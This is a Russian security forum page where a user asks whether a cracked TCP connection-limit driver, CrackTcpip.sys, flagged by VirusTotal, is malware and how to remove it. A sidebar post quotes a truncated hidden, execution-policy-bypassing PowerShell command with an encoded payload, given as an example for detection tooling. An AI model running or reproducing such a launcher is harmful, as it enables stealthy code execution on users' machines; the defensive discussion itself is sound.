Перейти к содержанию
Vilgelm

Так всё же вирус или нет?

Recommended Posts

Vilgelm

Доброго времени суток.

Когда то давно (более полугода назад) ставил себе кряк на количество одновременно открытых TCP\IP соединений. До сегодняшнего дня всё работало нормально, а сегодня, при очередном обновлении Нода, он заругался на один из компонентов этого лекарства, а именно CrackTcpip.sys.

Так как подозрения на вирус в системе были давно (из-за неадекватного её поведения), я решил, что поймал наконец-то зловреда. Но что бы удостовериться, решил проверить файл VirusTotal.

В итоге получил очень интересные результаты:

Результат: 28/41 (68.3%)

Подробнее...

Так как результаты оказались не стопроцентными, решил поискать информацию об этом файле в Google. В итоге получается, что Интернет сообщество расходится в мнениях: одни считают, что это вирус, другие, что определение этого файла как вредоносного, есть ни что иное, как ложное срабатывание, из-за его особенной роли.

Так всё же: помогите определиться вирус это или нет? И если да, то как его удалить не повредив систему (ведь простое удаление файла просто "убъёт" её, при установке кряка производились изменения в реестре и системных файлах) и где взять нормальное лекарство для увеличения количества открытых соединений для Windows Vista SP1.

Заранее спасибо

PS Сам файл в аттаче, пароль: virus

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Vilgelm

Ага, спасибо.

Только ещё один вопрос: как теперь убрать фикс безопасно?

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

  • Сообщения

    • PR55.RP55
      Допустим: '%WINDIR%\syswow64\cmd.exe' /c powershell -nop -exec bypass -win Hidden -noni -enc aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYg... '<SYSTEM32>\rundll32.exe' <SYSTEM32>\FirewallControlPanel.dll,ShowNotificationDialog /configure /ETOnly 0 /OnProfiles 6 /OtherAllowed 0 /OtherBlocked 0 /OtherEdgeAllowed 0 /NewBlocked 4 "%WINDIR%\syswow64\windowspowersh... Было бы неплохо, если бы в Инфо. объекта. Прописывались данные по настройке  разрешений Firewall. + Отдельная категория по Firewall - что разрешено, что заблокировано.
    • SQx
    • SQx
      Спасибо,  как раз появился новый случай.
        DhcpDomain REG_SZ domain.name DhcpNameServer REG_SZ 192.168.1.1  
    • demkd
      ---------------------------------------------------------
       4.11.9
      ---------------------------------------------------------
       o Твик #39 теперь дополнительно включает отслеживание командных строк завершенных процессов, командные строки отображаются в окне информации.
         Только для Windows 8.1/Windows Server 2012 R2 и старше.  o WLBSCTRL.DLL теперь автоматически получает статус подозрительного файла.  o В окне информации сетевого адаптера (в разделе DNS) теперь отображается поле DHCP Domain при его наличии.  
    • PR55.RP55
      https://habr.com/ru/post/214953/ На подобное событие антивирус также может реагировать - если сервер будет в чёрном списке. Да и уязвимости...  
×